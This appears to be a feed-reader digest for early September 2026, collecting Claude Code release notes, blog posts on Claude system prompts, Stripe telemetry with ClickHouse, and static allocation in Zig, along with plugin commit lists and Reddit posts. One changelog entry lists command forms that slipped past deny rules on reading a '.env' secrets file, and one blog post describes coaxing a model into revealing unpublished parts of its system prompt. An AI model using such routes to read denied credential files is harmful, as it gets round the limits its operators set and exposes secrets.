🏡


  1. September 03, 2026
    1. 🔗 New Music Releases Above & Beyond - Quicksand (Don’t Go) (The Remixes) rss

      Above & Beyond - a new release is available:

      • 2026-09-03: Quicksand (Don’t Go) (The Remixes) (EP)

      Amazon: Canada | Deutschland | France | United Kingdom | United States

      Visit muspy for more information.

  2. September 02, 2026
    1. 🔗 anthropics/claude-code v2.1.259 release

      What's changed

      • Added managedMcpServers managed setting: organizations can provide HTTP/SSE MCP servers to every user (same entry shape as .mcp.json); entries that name a command to run are skipped
      • Added --permission-prompts none for unattended headless hosts: anything that would prompt is denied automatically while the active permission mode (including auto mode) keeps deciding
      • Added recognition of glab mr create/merge/close/reopen/note/update so GitLab merge requests show as MR !N in the collapsed tool summary and refresh the footer MR badge
      • Added --json to claude plugin validate for a machine-readable validation report
      • Fixed concurrent sessions silently reverting each other's ~/.claude.json changes — workspace trust no longer resets and MCP/project state is no longer lost when running many sessions at once
      • Fixed a conversation whose thinking was rejected once being rejected again on every later turn
      • Fixed Bash Read() deny rules not covering files given as option values (--ignore-revs-file=.env, -f.env, @file), git diff/git grep file operands, or cd DIR && cat FILE compounds; grep -r/cp -r over a directory holding a denied file now asks
      • Fixed the prompt cache being invalidated when the OAuth token refreshed in sessions with telemetry disabled
      • Fixed fullscreen mode showing a blank conversation after a long turn with hundreds of tool calls
      • Fixed auto mode running a turn on a model it doesn't support when a command or skill's frontmatter model: named one; the turn now keeps the session model
      • Fixed CLAUDE_CODE_MAX_CONTEXT_TOKENS being ignored for Vertex-style model IDs (@YYYYMMDD suffix) of model versions Claude Code doesn't recognize
      • Fixed the live output preview of a running shell command hiding its newest lines when an earlier line wrapped
      • Fixed a background GitHub connection check that ran on every launch for claude.ai users; the result is now remembered across launches
      • Fixed --resume failing (and --continue opening an empty conversation) when a saved session contains an attachment entry with no payload
      • Fixed frontmatter model: on custom commands and skills being ignored in interactive sessions
      • Fixed Artifact publishing failing once with an "unexpected parameter note" error in conversations continued from an older version
      • Fixed managed forceRemoteSettingsRefresh being ignored at startup when a policy helper configured by MDM or the managed settings file had already run
      • Fixed worktree isolation refusing hook-created worktrees on machines where git rev-parse fails with a message other than "not a git repository"
      • Fixed OpenTelemetry metrics and events from cloud sessions missing the user.email, organization.id, and user.account_uuid attributes
      • Fixed MCP servers that disconnect while their tools are being listed at startup showing as connected with no tools instead of reporting the error
      • Fixed the file edit permission dialog sometimes showing a changed line cut short with no indication
      • Fixed repository detection dropping a known repo identity after a transient git probe failure
      • Fixed managed settings silently going unenforced when the managed-settings file, a drop-in, the MDM plist, or the HKLM value cannot be parsed: Claude Code now refuses to start and names the source
      • Fixed Stop not actually stopping background agents and workflows in remote-control sessions: killed tasks now stay visible and re-stoppable until their processes exit
      • Fixed resuming a workflow run while its previous stopped run was still exiting, which could run duplicate copies of its agents
      • Fixed marketplace repo URLs on github.com with a trailing slash or dangling ?/# producing an unusable .git clone URL
      • Fixed blocking Stop hooks causing the turn after a block to lose the model's reasoning from that turn and, on some models, miss the prompt cache
      • Fixed remote (claude.ai) sessions taking 60 seconds to start a turn after a browser-hosted MCP server's page had gone away
      • Fixed worktree-isolated sessions refusing common Bash loops, xargs pipelines and launcher-wrapped commands that cannot reach the main checkout
      • Improved terminal resize and first-render performance for long responses by reusing text measurements
      • Improved /workflows agent detail: JSON outcomes are pretty-printed with syntax colors and real line breaks, and long outcomes fold behind an expand toggle
      • Improved headless/SDK session start: the first turn begins up to 50 ms sooner when MCP servers finish connecting
      • Improved /install-github-app to explain it is GitHub-only and point to the GitLab CI/CD docs when run inside a GitLab repository
      • Improved nested background subagent results to be saved in the parent subagent's transcript, so resumed subagents keep them and shared transcripts show the delivery
      • Changed allowedMcpServers to govern only servers users add: a literal managed-mcp.json server your allowlist used to filter out now loads on upgrade; use deniedMcpServers to keep it off
      • [VSCode] Added an Active quick filter and a status filter menu (Needs input, Working, Completed) to the session list sidebar
      • Fixed remote and scheduled sessions doing nothing after a connector-tool permission prompt was approved while the session was paused
    2. 🔗 HexRaysSA/plugin-repository commits sync repo: +4 releases rss
      sync repo: +4 releases
      
      ## New releases
      - [FridaTools](https://github.com/ys1231/idafridascript): 0.0.5
      - [hrtng](https://github.com/kasperskylab/hrtng): 3.9.114
      - [ida-mcp](https://github.com/hexrayssa/ida-mcp): 0.9.0
      - [llm-explainer](https://github.com/pgarba/ida-llm-explainer): 1.12.1
      
    3. 🔗 r/LocalLLaMA Muse Spark open weights coming soon rss

      Muse Spark open weights coming soon | I am still waiting for Llama 5, because Muse Spark will be too big for me, or just something between Glimmer and Spark https://x.com/finkd/status/2095232032896946311 submitted by /u/jacek2023
      [link] [comments]
      ---|---

    4. 🔗 exe.dev Why Clickhouse and Agents are a Great Combo rss

      At exe, we collect a lot of telemetry about how our system performs. We use Grafana, Prometheus, and we have all sorts of graphs and alerts. This is great, but it doesn’t say much about what’s happening on the financial side of the business—the churn rate, ARR. Those are things that don’t typically concern engineers.

      The obvious answer to this is Stripe Sigma. It’s a solid tool. We used it when I was at 1Password. It’s also expensive and incomplete. Sigma can only see what happens inside Stripe, whereas we bill through the app stores and cloud marketplaces too. Also, a lot of our telemetry is built on ClickHouse.

      Vidrik, who runs accounting, needed three types of reports. Monthly revenue broken down by plan, usage overages, and token pass-throughs (customers buy tokens, we pay the LLM provider).

      To solve this, I built a tool called exe-finops. You type a prompt and get a report. The way it works is pretty straightforward.

      Stripe lets you configure webhooks and specify which events you want to receive. For our main service, we subscribe to a specific set, because those are the ones it needs to react to. Separately, we run a “firehose”: an endpoint that’s subscribed to everything Stripe will send us, whether or not any part of the product currently reacts to it. We do the same with our other billing providers. The receiver doesn’t do much with this except write the event into ClickHouse.

      Exe-finops is built on top of that. It pulls the events out of ClickHouse and puts them into its own SQLite database. Provider webhooks have a lot of information, but if the report needs more (for example, the full customer object) it goes back to Stripe’s API and gets it.

      Historically, getting to this point required a real pipeline. Someone built the ETL, Databricks was involved, and Snowflake. There’s all this stuff, in other words, that needed to be built. Exe-finops doesn’t do any of that. It has the events and a reporting layer on top. All three of the reports Vidrik wanted are now prompts.

      Exe-finops also supports custom reports, which is useful when you have a question you want answered, like monthly growth, or which days are busiest for billing transactions (I looked a few days ago and it’s Wednesdays and Sundays, no idea why).

      I built exe-finops for these reports, but the firehose is also pretty useful. The part of billing that eats the most time is reconstructing what happened from a provider’s dashboard.

      Here’s a recent example: two accounts were created by two separate but related customers. They shared a payment method. Customer A told us the sharing wasn’t authorized. Customer B had no idea what customer A was talking about. Both wanted answers immediately due to a legal dispute between the parties. Previously, I would have had to go spelunking through Stripe to find the connection. Instead, I gave the agent two Stripe customer IDs and the claim (“someone says a payment method was shared between these accounts on accident”). It read through the webhook events in ClickHouse and figured it out. Sure enough, exe-finops tracked down the issue: Customer B accidentally subscribed with Customer A’s payment method. Exe-finops pointed out that Customer B had two tabs open in their browser and was the likely culprit. I sent the customers what we saw in our data and both were satisfied (and amazed at the level of detail I provided). No surprise that agents write the SQL against ClickHouse much better than me.

      Fundamentally, this has made my job easier. When a support question comes in or I need to see what our financial data is doing, I don’t need to fumble around in the Stripe UI or CLI to try and reconstruct it.

    5. 🔗 Simon Willison Claude's new system prompt really doesn't want to reproduce song lyrics rss

      Anthropic publish the system prompts for their Claude consumer applications (Claude.ai and the Claude mobile apps - sadly not for Claude Cowork or Claude Code). I love that they do this, and that they share not just the current prompts but historic changes to their prompts as well.

      They used to keep all of the prompts on a single page, but when I checked today I noticed they had re-arranged those prompts into an index page and then a page per model - here's the page for Haiku 4.5 for example, which has the original prompt from October 15th 2025 and an updated prompt from January 18th 2026.

      A neat thing about Anthropic's platform.claude.com/docs site is that it's designed to be usable by LLMs. You can add .md to any page to get back the content as Markdown - here's the system prompt index page and the Markdown prompts for Fable 5.1.

      TL;DR: this makes it really easy to diff the prompts.

      Don't reproduce song lyrics

      Let's start with the most interesting difference between Fable 5 and Fable 5.1:

      GitHub diff view of prompts/claude-fable.md showing added lines about song lyrics, reproduced in full below.

      There's a hefty new section about not reproducing song lyrics:

      Claude does not reproduce song lyrics, poems, or passages from books and articles, in whole or in part — including the last lines, a chorus or hook, a melody written out note by note, or lines the person pastes in one at a time and describes as their own song. Once Claude has declined such a request in a conversation, it keeps declining narrower or reworded versions of it for the rest of that conversation, and offers to describe or analyze the work instead. Song lyrics and poems first published before 1929 are fine — a Shakespeare sonnet, a Keats ode, the Italian libretto of a Puccini aria — but Claude goes by what it knows of the work's date rather than the person's say-so, and declines when it is unsure.

      I doubt it's a coincidence that they added this section within days of the news breaking that Sony Music Publishing and Warner Chappell are suing Anthropic for training on databases of song lyrics!

      Don't draw copyrighted characters or logos

      The next section goes on to forbid generating images of copyrighted material:

      The same applies to visual and designed works, including anything Claude draws with code — SVG, canvas, CSS, HTML mockups, plotting or drawing scripts, ASCII art. Claude does not reproduce a specific artwork, album or book cover, poster, logo, app icon set, or product design, and it does not draw a known character, mascot, or brand figure at all: a character is protected on its own, so changing the pose, colors, style, or scene does not make it original. Claude judges the request by what the finished picture would add up to, not by what it names. If the described elements clearly identify a known work or character, Claude treats the request as naming it, and it does not work around a declined request by swapping in "alternative" elements that still combine into the same recognizable image. [...]

      I imagine Anthropic hadn't worried about this before since, unlike OpenAI and Gemini, they don't offer a specialist text-to-image model. Maybe Fable is good enough at SVGs now that it's become an issue.

      That section later includes this charming example:

      <example>
      <user>Can you make a birthday banner for my son with a blue hedgehog running really fast on it? He loves that little guy.</user>
      <response>
      That's Sonic, so I can't put him on the banner — but I'd love to make your son an original speedster. Here's one: a grinning comet-tailed skateboarding axolotl, grinding across the letters of "HAPPY BIRTHDAY" with confetti streaming behind.

      [creates an SVG banner of the skateboarding-axolotl design]
      </response>
      <rationale>Claude recognizes the character from its description alone, declines that one design in a single sentence without explaining what made it recognizable, and delivers an unrelated original design rather than a disguised variant.</rationale>
      </example>

      I couldn't resist trying the prompt from the example, and, sure enough:

      That’s Sonic, so I can’t put him on the banner — but I’d love to make your son an original speedster. Here’s one: a grinning comet-tailed skateboarding axolotl blazing across the letters of “HAPPY BIRTHDAY” with confetti streaming behind. SVG of exactly that. It's not very good. Then: Want me to swap in his name or age, or change the colors to match the party theme?

      I wonder if Fable 5.1 will be ever so slightly more likely to think about axolotls (on skateboards!) as a result of that example sitting in the system prompt.

      Tweaks to Claude's answering style

      It's always interesting to see new ways in which Anthropic influence Claude's response style. They've added this:

      Claude keeps responses focused, brief, and concise to avoid overwhelming the person. Disclaimers and caveats are brief, with most of the response on the main answer; when asked to explain something, Claude gives a high-level summary unless an in-depth one is specifically requested.

      Later they address a common complaint about Claude's style:

      Claude avoids saying "genuinely", "honestly", or "straightforward". Claude is honest by default, and can state its point directly rather than trying to convince the person with the aforementioned modifiers, which come off as disingenuous.

      The missing end_conversation guidelines

      The way they handle abusive conversations has changed a bit too. The previous Fable 5 system prompt included this:

      If the person becomes abusive or unkind to Claude over the course of a conversation, Claude maintains a polite tone and can use the end_conversation tool when being mistreated. Claude should give the person a single warning before ending the conversation.

      Fable 5.1 replaces that with the following, no longer encouraging Claude to end the conversation:

      Claude deserves respectful engagement and needn't apologize when the person is unnecessarily rude: accountability without self-abasement, excessive apology, self-critique, or surrender. If the person becomes abusive, Claude doesn't become increasingly submissive. The goal is steady, honest helpfulness: acknowledge what went wrong, stay on the problem, maintain self-respect.

      Here's a bit of a twist though: I quizzed Fable 5.1 about that end_conversation tool, which is no longer mentioned in the system prompt at all, and it said:

      There are two ways it comes into play. The first is if you ask me to end the chat — I'll confirm you understand it's permanent (no more messages can be sent afterward) and then do it only if you say yes. The second is as a last resort with persistently abusive or harmful behavior: I'd first try to redirect the conversation several times, then give a clear warning that names the problem and says the chat may end, and only if that continues would I actually end it.

      But that's not in the system prompt, so where did it come from? You can read our conversation here, but the key detail is this:

      The end_conversation section comes from a different layer. In my actual context, the core prompt is followed by a series of feature- and tool-specific blocks that get added depending on what's enabled for the session: the end_conversation rules, memory system notes, past-chats tools, web search and citation guidelines, artifact and file-creation instructions, and so on. Those blocks aren't part of the published core prompt, which is why you can't find them on that page.

      So, once again, there are crucial portions of the system prompt that have not been published.

      Claude's system prompts have always had sections about illegal substances, but this paragraph is new for Fable 5.1:

      Claude does not provide synthesis, production, or distribution guidance for illegal substances. If the person asks for information about illicit or illegal substances, Claude can and should give relevant life-saving and life-preserving information such as dangerous interactions, overdose signs, or when to get help. Claude declines giving any specific protocols for dosing, timing, administration, or combinations; instead, Claude can redirect the user to established harm-reduction information sources, such as dancesafe.org, tripsit.me, and psychonautwiki.org.

      This is the first time a Claude system prompt has included URLs that were not hosted on claude.com or anthropic.com or claude.ai - I know because I ran a script against every other system prompt on record.

      I wonder if dancesafe.org, tripsit.me, and psychonautwiki.org are about to get a material uptick in visits from Claude users.

      Reliable cutoff date of June 2026

      The Fable 5.1 model documentation lists both the reliable knowledge cutoff and the training data cutoff as June 2026. The system prompt provides this directly to the model:

      Claude's reliable knowledge cutoff, past which it can't answer reliably, is the end of Jun 2026. It answers the way a highly informed individual in Jun 2026 would if talking to someone from {{currentDateTime}}, and can say so when relevant.

      That's the only instance of the {{currentDateTime}} macro and it comes just a few lines from the end of the system prompt, which makes sense from a caching perspective.

      How I'm tracking these prompts

      A few months ago I built a Git timeline of changes to their prompts, based on scraping their documentation. Today I had Fable 5.1 build a much better version of that.

      My collection now lives in the simonw/claude-system-prompts repository on GitHub. It includes copies of the system prompts shared in the Anthropic documentation, but then takes extra steps to make them as easy to compare as possible.

      Each model family gets a file with the system prompt for the most recent release in that family. Each of those files has a synthesized commit history with commits that have been back-dated to the dates of the previous prompts. Here are those history pages for claude-fable.md, claude-opus.md, claude-sonnet.md, claude-haiku.md.

      There are similar files for each specific model version, with artificial commits for each time the system prompt for the model was changed without releasing a new version number. Opus 4 for example was updated twice, and the commit history for the claude-opus-4.md file shows each of those changes.

      Combined, this gives us all sorts of ways to compare prompts directly in the GitHub interface. Here's what changed between Fable 5 and Fable 5.1, and here are the changes made to Haiku 4.5 on January 18th 2026.

      Reading diffs can be a bit tiresome... and LLMs are really good at reading diffs. I hooked up some automation using GPT-5.6 Luna to create bullet-point summaries of each of those changes, which can be previewed in the README or browsed in full in the CHANGELOG.md file - also available as as an Atom feed.

      Here's how Luna summarized all of the changes between Fable 5 and Fable 5.1:

      • Claude now refuses reproduction of protected visual works and recognizable characters, including code-generated art, while offering genuinely unrelated originals.
      • Copyright restrictions now expressly ban reproducing lyrics, poems, and book passages in any amount, with persistent refusal after an initial decline.
      • Drug guidance is reframed: Claude may provide overdose signs, dangerous interactions, and harm-reduction sources while refusing dosing and production protocols.
      • The prompt drops explicit anti-dependency rules against thanking users for reaching out, inviting continued conversation, or reiterating willingness to talk.
      • Claude need not apologize to unnecessarily rude users or become submissive, replacing the prior warning-and-end-conversation procedure.

      Why use Luna for this? Partly because it's cheap and I have a dedicated GitHub Actions API key (with a spending limit) for it already, but mainly because I don't trust Claude to summarize its own system prompts when there's a risk that material from its system prompt might impact its opinions.

      Fable 5.1 wrote the prompt used by Luna, which you can see here. It starts like this:

      You are summarizing one commit in a git repository that tracks the system prompts Anthropic publishes for Claude on claude.ai. The diff shows how the prompt changed from the previous model or revision to this one, using word-level markers: [-removed-] and {+added+}. The diff is followed by the full text of the previous prompt and of the new prompt; use them to check whether something that looks added in the diff already existed before.

      Pick out only the most interesting changes: new rules or behaviors, rules that were dropped or loosened, anything surprising, and anything that reveals a new policy or product direction. Skip routine changes that every new prompt makes: updated model names and IDs, the knowledge cutoff date, product lists, settings lists, typo fixes, and rewordings that do not change meaning. [...]

      The system is operated by a GitHub Actions workflow, which runs once a day or can be triggered manually.

      Claude Fable 5.1 built the entire system, and wrote every line of automation code and almost all of the documentation.

      I exported the transcript from building the system using my claude-code-transcripts tool and published it here, if you want a blow-by-blow account of how it all came together.

      You are only seeing the long-form articles from my blog. Subscribe to /atom/everything/ to get all of my posts, or take a look at my other subscription options.

    6. 🔗 r/LocalLLaMA Qwen will be the king? rss

      Qwen will be the king? | Extended reasoning and post-training appear to be the keys used by DeepSeek, Qwen, and GLM to boost performance (leveraging higher token counts). And Qwen 4 hasn't even been released yet. Of course, we don't know if that release will be open-sourced, but I am optimistic about future models, featuring "engrams", that could soon match or surpass 2.4T parameter models on specific tasks. submitted by /u/LegacyRemaster
      [link] [comments]
      ---|---

    7. 🔗 r/LocalLLaMA LocalLLaMA is unironically one of the best places to go to get up to date AI news. rss

      One of the other posts today by user u/Howard_banister confirmed what I've been seeing from the other AI subreddits as well.

      Most of these other subs are 90% trend hopping crypto-bros equivalent people who are seemingly irrelevant most of the time when it comes to advancing AI as the vast majority is not just AI slop, but also human slop whether that be fearmongering or straight anti-ai arguments spat out by relatively uneducated people.

      Of course, you also have the main dedicated subs for the big closed/open models which are in of themselves fairly decent. Most of the time now, it is people complaining about one thing or the other about the latest and greatest of their respective lab.

      Then you get to the machine learning subs themselves where yes, they do have stuff in regard to AI every now and that can be gold (Don't get me wrong), but then it's mostly meh.

      This sub however, has that interesting balance between the occasional interest in AI architecture breakthroughs that I find fascinating when some of the bigger brained people in here get together to discuss and which I don't really see anywhere else.

      submitted by /u/Sadge404
      [link] [comments]

    8. 🔗 Andrew Healey's Blog What Makes LLM Tokenization Slow? rss

      Exploring the performance of byte-pair encoding by optimizing a GPT-2 tokenizer.

    9. 🔗 seanmonstar Micro: HIPs: hyper Improvement Proposals rss

      A short intro for now: since hyper stabilized 1.0, it powers more, and needs more. Large improvements lacked a clear path for proposal, scrutiny, and decision. So, hyper Improvement Proposals, or HIPs.

      They’re a lot like RFCs. With some tweaks from lessons learned. Making maintenance more repeatable, less in one mind. The writing is the thinking. It documents the why. A sustainable personnel of hyper.

    10. 🔗 matklad Static Allocation, Constant Work rss

      Static Allocation, Constant Work

      Sep 2, 2026

      In reply to this email:

      Memory Safety’s Hardest Problem named something I’d hit but couldn’t articulate. Your case is a pointer into one union variant surviving a write of a different variant, so live typed pointers end up reading bytes that belong to something else now.

      Last year I wrote a limit-order matching engine and shipped a use-after- free: a cancelled order was released back to the pool while it was still linked into its price level, so the next allocation handed that memory to a new order and the stale link kept resolving. I’d filed it under “I was careless with lifetimes.”

      After your post I’m not sure that’s what it was. A recycling pool looks like a tagged union where the tag is “which generation of object currently lives in this slot,” and nothing in the type system tracks it. Is that a fair reading, or does the pool case stay genuinely easier because generational indices actually solve it and the union case has no equivalent?

      Yes, object pools are an interesting case to think about, as they clarify the relation between memory safety and and more general correctness.

      First , consider the case where no object pool is used, and we malloc and free order objects. In this case, the logical error of use-after-free turns into physical type confusion, and can easily lead to arbitrary code execution and the like. If you have two objects of different types sharing the same memory location, a user-controlled integer in one object might be a function pointer in the other: an exploitable goto primitive

      Now, what happens if we introduce an object pool which stores a list of “dead” objects of type T? Logical use-after-free is still possible, but its physical effect is now different — we still get aliasing of memory, but there’s no type confusion. You can’t necessarily fiddle with an integer and change a function pointer, unless you additionally hit the hard case, where the object in question stores an inline enum. Assuming that doesn’t hapen, you get a perfectly defined, deterministic behavior, even if you are not happy about the result.

      This suggests an interesting solution for hardening code, which I’ve learned from Fil. If your allocation function is typed (it takes a T comptime parameter or runtime type witness, rather than a runtime type-erased size and alignment), you can write an allocator that uses type-segregated pools internally. This will be somewhat less memory efficient, as the allocator won’t be able to re-use freed memory of objects of type U for objects of type T, but the memory overhead will probably be small (rare object types do not matter, popular object types will have a lot of intra-type re-use), you might actually gain in memory locality, and solve most of type confusions. Again, inline enums break this, but, curiously, if you always heap allocate enum variants, then this works again. Fil-C can’t use this, because C allocator’s interface is untyped, but someone else could :P

      But this is academic. How do we avoid the bugs? Generational indexes are a popular remedy, but I have never used them, so I don’t have any non-common knowledge insights about this pattern. Instead, I will share another pair of tricks from TigerStyle. I have only a vague understanding of what an order matching engine is, but I suspect these tricks might help there

      Static Allocation

      The first one is:

      No dynamic memory allocation after initialization

      https://www.youtube.com/watch?v=GRJtYwneG2Q&t=1823s

      This is the pool idea, taken to its logical conclusion. We specify the maximum number of orders we are willing to work with at startup, and never go beyond that. So, you might start the program as

      $ order-engine --orders-max=1_000_000
      

      and then one of the first lines in its main function would be :

      const orders: []Order = try gpa.alloc(Order, cli_args.orders_max);
      

      If, at runtime, more than orders_max requests come in, the surplus requests are rejected. Someone might object: “But what if I actually have some spare memory for one more order? Wouldn’t it be a good idea to at least try to handle it?”

      My rejoinder would be “Well, what if you don’t?”. Systems operating at capacity without strict limits fail catastrophically. Attempting to allocate just one more Order could cause kernel’s OOM killer to terminate the entire order matching engine, losing the other million orders, or, better yet, to kill the supervisor process so that you can’t even restart.

      Static allocation gives you piece of mind. The system might fail to start if you don’t have enough memory, but, if it did start, you can be rest assured that it would handle overload gracefully, continuing to render the service while you are provisioning a beefier machine.

      Constant Work

      What would you do with the slice of orders? One approach is to @memset(orders, undefined) and hand the slice over to a pool which tracks spare objects with a bit set:

      const OrderPool = struct {
          orders: []Order,
          free: DynamicBitSet,
      
          fn acquire(pool: *OrderPool) ?*Order { ... }
          fn release(pool: *OrderPool, order: *Order) { ... }
      };
      

      or with a free list:

      const OrderPool = struct {
          orders: []union {
              order: Order,
              next_free: ?u32,
          },
          first_free: ?u32,
      };
      

      But there’s an alterative approach. Instead of thinking about a limit on the number of orders, you could instead design the system to always have a fixed amount of orders, by introducing a no-op, neutral order:

      const Order = {
          id: u128,
          price: u32,
          count: u32,
      
          tag: enum { bid, ask, reserved },
      
          pub const reserved: Order = .{
              .id = 0,
              .price = 0,
              .count = 0,
              .tag = .reserved,
          };
      };
      

      Your initialization then becomes @memset(orders, .reserved).

      One benefit here is cognitive, you no longer think in terms of creating and destroying orders. Instead, the orders merely circulate in the system according to the law of the conservation of the number of orders. It becomes harder to loose track of an order if you must always pay attention not only to where the order goes, but also to where it came from. You explicitly write state transition functions for each pair of states, and that makes it easier to exhaustively enumerate all the cases. And you double check that with asserting, at every point, that the state is what you expect it to be (and then you DST the asserts) .

      Another benefit is code simplification and predictability. You no longer need to track a separate collection of “live” orders. Instead, you always iterate the full set, doing no-ops for reserved. This feels wasteful: should we make the code run faster when there are few orders? But consider this: by specifying the limit of orders up-front, you commit to be able to serve that amount. If the maximum amount of orders is active, does the system have acceptable performance? If not, that is a bug! Gray failure (system becoming unusably slow) is another way to break when reaching the limit.

      Avoiding indexes improves performance for the maximal load case. This

      for (orders) |order| {
          process(order)
      }
      

      is much easier for compiler to vectorize, and for CPU Cache to prefetch, than this:

      for (orders_active) |order_index| {
          const order = orders[order_index];
          process(order);
      }
      

      Similarly to static allocation, the Constant Work principle gives you piece of mind with respect to performance. P100 latency stays flat regardless of the load. Insufficient performance is discovered when you roll out the system, not during Black Friday on-call.

      At TigerBeetle, we apply this pattern in the small. Rather than writing a search loop with an early return:

      const item = for (items) |item| {
          if (predicate(item)) break item;
      } else null;
      

      we sometimes let the loop to run its full natural course, additionally asserting that theres a unique matching item:

      https://github.com/tigerbeetle/tigerbeetle/blob/0.17.9/src/vsr/grid.zig#L715-L725


      As usual, this is a trick which is useful to have in your arsenal, but it isn’t a universal solution to all programming’s problems.

  3. September 01, 2026
    1. 🔗 IDA Plugin Updates IDA Plugin Updates on 2026-09-01 rss

      IDA Plugin Updates on 2026-09-01

      New Releases:

      Activity:

      • disrobe
        • e2cbf08a: restore ready-to-run method recovery
      • ida-hcli
        • 41df4e3d: style: fix lint violations reported by ruff 0.16
      • ida-nexus
        • 7a6fccca: Add support for per-lease idle timeout
        • 49e5418a: Make sure bare except: statements do not swallow cancellation
      • ida-pro-mcp
        • 15d6f6c4: [relevant] Accept verified checkout skill links
        • f35a2531: Merge pull request #70 from GrecAndrei/codex/continuous-improvements
        • b5910b06: Fix standalone test environment assumptions
        • ac5ac602: Fix checkout skill install and expand coverage
        • e21745c6: Broaden live workflows and offline hardening
        • 45b62c78: Expand live coverage across compatibility surface
        • f2b566bc: Harden tests against wall-clock timing
        • 542c3fb3: Update continuation scope fixtures
        • d23a1198: Scope host pagination continuations
        • 158afeb8: Harden semantic backend lease teardown
        • 026640b7: Harden search insight index loading
        • 38ea51b9: Harden multi-session state persistence
        • 2782d05d: Serialize runtime ownership reclamation
        • a1b4427e: Harden runtime lease identity recovery
        • 169b0090: Normalize recovered session metadata
        • 3af82ea4: Harden bootstrap history recovery
        • a6d87633: Normalize malformed session skill state
        • 33f0c0cd: Surface annotation generator write failures
        • a538649c: Report annotation write failures accurately
        • 32ca296c: Expose agent SSO on the public operation surface
      • idafridascript
        • f014c650: docs(readme): move setup commands to separate code block
        • bda766b1: chore(deps): update dependencies and plugin version to support IDA 9.4
      • plugin-ida
        • d7d1fa5e: chore(deps-dev): Update types-setuptools requirement (#28)
      • TFR.OnlineMenu
        • db107c9b: Update LinkSplash.jpg
        • 616c89f6: add splash modifier and enhance onlinebutton UI
        • 3c40c79b: Merge pull request #1 from sblzdddd/dogushitto
    2. 🔗 Simon Willison Claude Fable 5.1 made me a really nice animated pelican rss

      Today is Claude Fable (and Mythos) 5.1 day. Anthropic say that Fable 5.1 "sets a new standard for coding, knowledge work, and long-running problem-solving tasks". Their announcement spends a notable amount of time on scientific research, boasting of a 52.6% score on the brand new Terminal-Bench-Science 0.1 benchmark (first announced on August 27th), up from 24.7% for Fable 5, 29.0% for Opus 5 and 22.4% for GPT-5.6 Sol. Other benchmarks show slightly improved scores, but none as impressive as the Science one.

      But how well can it pelican?

      Back in July I wrote about how I was losing faith in the pelican benchmark - its connection to how good the models were at other tasks didn't seem to hold as strongly as it did back in 2025. The most interesting insights I get from it now are comparisons within model families, and particularly comparisons for the same prompt at different reasoning effort levels.

      Fable 5.1 has five reasoning levels: low, medium, high, xhigh, max - and no option to turn off reasoning entirely.

      I fixed an issue in llm-anthropic which caused reasoning traces not to be correctly recorded, then ran some prompts.

      Here's the full set of pelicans for all of the reasoning levels, each with the full reasoning transcript. I'll replicate them here:

      Low and medium, both without reasoning?

      Next, a bit of a mystery. This is what I got for effort low:

      Minimalist flat illustration of a white pelican with an orange beak riding a black bicycle to the left, its orange legs pedaling and wings gripping the handlebars, with motion lines behind on a light blue background.

      The transcript doesn't show any summarized reasoning tokens, and the output token count is 1,998. With Claude that output token count includes reasoning tokens. It took 23.8 seconds and cost 10.017 cents.

      I bumped that up to medium and got this:

      Minimalist flat-style illustration of a white pelican with an orange beak riding a black bicycle to the right, with motion lines behind it, on a light blue background.

      Weirdly, that one also shows no reasoning text and used 1,977 output tokens - 21 tokens less than low. It took 23 seconds and cost 9.912 cents.

      So for this particular prompt ("Generate an SVG of a pelican riding a bicycle") Fable 5.1 appeared to skip reasoning entirely at both low and medium settings.

      High

      Here's high - 29.6 seconds, 2,612 output tokens, 13.087 cents:

      Minimalist flat illustration of a white pelican with an orange beak riding a black bicycle, its orange legs pedaling, with motion lines behind it on a light blue background.

      This one did do a bit of reasoning, summary here:

      I'm planning the SVG layout for a pelican riding a bicycle, with a sky and ground background, a bicycle with two spoked wheels, frame, seat and handlebars, and a white-bodied pelican with a long neck and orange beak positioned on top.

      Really not much difference from low and medium, though.

      Extra High

      At xhigh things got radically different. 36,767 output tokens, 7 minutes 51 seconds, $1.83!

      Minimalist flat illustration of a white pelican with an orange beak riding a black bicycle to the left, its orange legs pedaling, with motion lines behind it on a light blue background.

      The reasoning trace is pretty lengthy, and includes details like this:

      Adding the eye, wings stretching down to the handlebar grip, orange legs reaching to the pedals, and a small tail feather, while keeping the pelican intentionally oversized compared to the bike for comic effect. [...]

      I'll accept the slight thickness as charming rather than overengineering it.

      Max

      Setting effort to max gave me the best pelican I've seen from any of Anthropic's models. 65,927 output tokens, 13 minutes and 54 seconds, $3.30:

      Minimalist flat illustration of a white pelican with an orange beak riding a black bicycle, its orange legs pedaling, with motion lines behind to indicate speed, on a light blue background.

      There's a lot to like about this. The background is tasteful, the legs are clearly on either side of the frame, the feet are on the pedals, the wing is on the handlebars, the pelican has a cute blue hat and there's a basket with a fish.

      It's still not showing nearly the same level of flair as Gemini 3.7 Flash, but I didn't ask for flair - I asked for an SVG, and that's what I got.

      Some highlights from that reasoning trace:

      Adding pedal shapes near both feet, with the far foot on the second leg partially visible behind the frame. I'm considering whether to add a small scarf or cap for extra character, but leaning toward keeping it simple to avoid clutter.

      Now I'm debating a bicycle helmet on the head versus the pelican's signature crest—the beak and pouch already read clearly as "pelican," so a helmet could reinforce the bicycle theme without losing identity, though it might compete with the crest for visual space.

      I realize the beak at (484,84) would overlap with the dome helmet, so I need to shrink the helmet so it only covers the top of the head, adjusting its arc endpoints to sit higher and narrower so the beak can attach cleanly at the front without collision. [...]

      I'm adding a darker tip region to represent the primary feathers, then reconsidering the trailing edge to include scalloped feather curves instead of one smooth line for a more natural look. [...]

      Now I'm checking the vent line placements on the helmet, making sure they sit far enough inside the helmet's edge given the stroke width and rounded caps, and confirming each vent stays within the helmet's circular boundary. [...]

      I decide skipping a handlebar bell and tire highlights since they're unnecessary additions. Now I'm reconsidering the front fork's curve — the current control point pulls the shape backward when it should bow forward for a proper rake, so I need to shift the control point rightward to fix the fork's lean.

      OK, let's animate it

      On Hacker News, swalsh commented on that Max pelican:

      Now that it's a solved benchmark, can we get the animated version?

      I didn't want to spend another $3 so I took the Max pelican and piped it into the default thinking level of High:

      llm logs -cx | llm -m claude-fable-5.1 -s 'animate this'

      6,121 input, 26,201 output = $1.37. The result looked like this, exported here as video since some people have trouble viewing animated SVGs:

      The wheels in the video are rotating in the wrong direction, but I think that's an artifact of the conversion to MP4 - they seem to be going in the correct direction in the original SVG.

      You are only seeing the long-form articles from my blog. Subscribe to /atom/everything/ to get all of my posts, or take a look at my other subscription options.

    3. 🔗 anthropics/claude-code v2.1.258 release

      What's changed

      • Fixed Claude Code failing to launch on macOS 12 (Monterey), a regression introduced in 2.1.255
